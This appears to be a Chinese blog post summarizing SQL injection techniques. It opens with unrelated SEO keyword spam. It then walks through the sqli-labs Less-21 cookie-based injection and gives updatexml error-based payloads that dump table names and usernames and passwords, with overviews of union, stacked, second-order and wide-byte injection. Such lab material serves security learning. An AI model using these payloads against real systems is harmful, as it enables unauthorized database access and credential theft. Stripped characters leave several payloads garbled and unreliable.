深圳网站建设 信科网络,网站开发 项目计划书,网站建设福永附近网络公司,phpcms网站模版下载对sql进行一个小结 还有其他的注入
其他注入:堆叠注入#xff0c;宽字节注入#xff0c;二次注入
首先是数值和字符
id1 and 11和id1 and 12 如果这两个语句返回的页面不一样就说明是数字型
id1 and 11#和id1 and 12# 如果这两个语句返回的页面不一样就说明是字符型
常… 对sql进行一个小结 还有其他的注入
其他注入:堆叠注入宽字节注入二次注入
首先是数值和字符
id1 and 11和id1 and 12 如果这两个语句返回的页面不一样就说明是数字型
id1 and 11#和id1 and 12# 如果这两个语句返回的页面不一样就说明是字符型
常见的字符组合
1 1 1) 1) 1)
id1% and 11#和id1% and 12# 如果这两个页面返回的结果不一样就说明是搜索型
GET注入使用get请求提交数据比如 xxx.php?id1.
POST注入使用post请求提交数据比如表单,包含在数据报文里。
Cookie注入使用Cookie的某个字段提交数据比如在Cookie中保存用户信息。
HTTP Header注入使用请求头提交数据比如检测HTTP中的源地址、主机IP等 get方式提交就是直接在网址后面加上需要注入的语句post则是通过表单方式get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数而另外一个却不能。
cookie注入就要稍微繁琐一些了要进行cookie注入我们首先就要修改cookie这里就需要使用到Javascript语言了。
条件
1.程序对get和post方式提交的数据进行了过滤但未对cookie提交的数据库进行过滤
2.还需要程序对提交数据获取方式是直接request(xxx)的方式未指明使用request对象的具体方法进行获取也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数之后的原理就像我们的sql注入一样了。
cookie注入的原理在于更改本地的cookie从而利用cookie来提交非法语句
设置cookie值打开相关网址后清空地址栏输入以下语句就能设置cookie字段为id值为284设置完后重新打开新网址新网址是以设置的cookie值重新访问网站的。 javascript:alert(document.cookieidescape(284)) document.cookie:表示当前浏览器中的cookie变量alert:表示弹出一个对话框在该对话框中单击“确定”按钮确认信息。
escape():该函数用于对字符串进行编码
less21
看看源码 if(isset($_POST[uname]) isset($_POST[passwd])){$uname check_input($_POST[uname]);$passwd check_input($_POST[passwd]);$sqlSELECT users.username, users.password FROM users WHERE users.username$uname and users.password$passwd ORDER BY users.id DESC LIMIT 0,1;$result1 mysql_query($sql);$row1 mysql_fetch_array($result1);if($row1){echo font color #FFFF00 font size 3 ;setcookie(uname, base64_encode($row1[username]), time()3600); echo I LOVE YOU COOKIES;echo /font;echo font color #0000ff font size 3 ; //echo Your Cookie is: .$cookee;echo /font;echo br;print_r(mysql_error()); echo brbr;echo img src../images/flag.jpg /;echo br;header (Location: index.php);}else{echo font color #0000ff font size3;//echo Try again looser;print_r(mysql_error());echo /br; echo /br;echo img src../images/slap.jpg /; echo /font; }}提交的uname和passwd进行了严格的检验
检验函数如下 //检验函数 function check_input($value) { if(!empty($value)) { $value substr($value,0,20); // truncation (see comments) } if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled { $value stripslashes($value); } if (!ctype_digit($value)) // Quote if not a number { $value . mysql_real_escape_string($value) . ; } else { $value intval($value); } return $value; } $sqlSELECT * FROM users WHERE username($cookee) LIMIT 0,1; 根据这条语句可以在cookie处进行注入
但是要注意base64编码 setcookie(uname, base64_encode($row1[username]), time()3600); 进入到数据库查询的时候会对cookie的值进行解码语句如下 $sqlSELECT * FROM users WHERE username($cookee) LIMIT 0,1; 将cookie字段替换为payload
Dumb) and updatexml(1,concat(0x7e,database(),0x7e),1)#此处经过base64编码如果结果有等号还要进行url编码
测试之后就会发现是字符型的注入单引号加上右括号
以下的语句需要进行base64编码 爆security的表名 Dumb) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e),1)#submitSubmit 爆users的列名 Dumb) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),0x7e),1)#submitSubmit 爆数据 Dumb) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,^,password)) from security.users),1,31),0x7e),1)#submitSubmit Dumb) and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,^,password)) from security.users),32,31),0x7e),1)submitSubmit 第22关
只是闭合方式不一样采用的是双引号的 显注前端页面可以回显用户信息比如 联合注入、报错注入。
盲注前端页面不能回显用户信息比如 布尔盲注、时间注入
联合注入
1、寻找注入点 2、判断闭合方式 3、判断列数 order by 4、联合查询查看回显位置 union select 1,2,3,4 5、查看数据库名、版本等相关信息 6、得到所有数据库名 7、得到指定数据的所有列表 8、得到指定表的列名 9、得到想要的数据
常见的闭合方式
数字类型(无闭合)
单引号 ’
双引号 ”
括号
组合方式 ‘) ) )) ))
注释符
-- #
报错注入常用的函数
extractvalue() 使用XPath表示法从XML字符串中提取值
updatexml() 改变文档中符合XML片段的值
extractvalue(xml对象文档的内容路径)updatexml(xml对象文档的内容路径要修改的新内容)一个是提取一个是修改
报错符号
一般书写在路径位置为特殊符号即可使得出现报错
0x7e~
报错原理 路径出现特殊符号得时候就会报错 然后利用concat把符号和sql命令语句拼接到一块就可以执行报错注入
eg
extractvalue(1,0x7e);堆叠注入形成原理 就是在执行sql语句的时候运用的multi函数此函数可以执行多条sql语句攻击者闭合第一个参数然后用号可以执行输入的语句因此造成堆叠注入
函数
mysql_multi_query 利用
先闭合前面的数据用进行闭合然后再后面输入自己要执行的sql语句随后注释后面的数据 二次注入
攻击者第一次输入的时候后端代码对攻击者输入的参数进行了转义但是在传入到数据库的时候的时候没有进行转义当攻击者再次读取到数据的时候没有对数据库的字符进行转义因此导致形成闭合
在注册当中把用户名注册为和数据库人员一样的名字在名字后面添加闭合字符因此插入到数据库当中再次修改用户密码的时候就可以形成闭合修改目标账户的密码 也可以在名字添加闭合字符后面增加or 1语句再次执行的时候就是修改全表中用户的密码
也就是先加上字符然后再加上or 1
宽字节注入
当客户端发送到服务端的时候运用一种编码服务端发送到数据库的时候又运用了一种编码返回到客户端的时候运用了一种编码
这里就已经运用了三种编码 php后台的编码与数据库的编码不一致或者经过一些编码函数如iconv 进行转换处理导致可以使用宽字节绕过转义字符完成闭合导致sql注入
编码格式
指Unicode编码存储方式采用UTF-16。因为只有2字节和4字节两种情况故用wchar_t占两个字节。
当后台程序对于传入的数据的数据进行了转义时需要运用到闭合的时候
上面只是一部分比较常见的后面的还需要进一步去了解。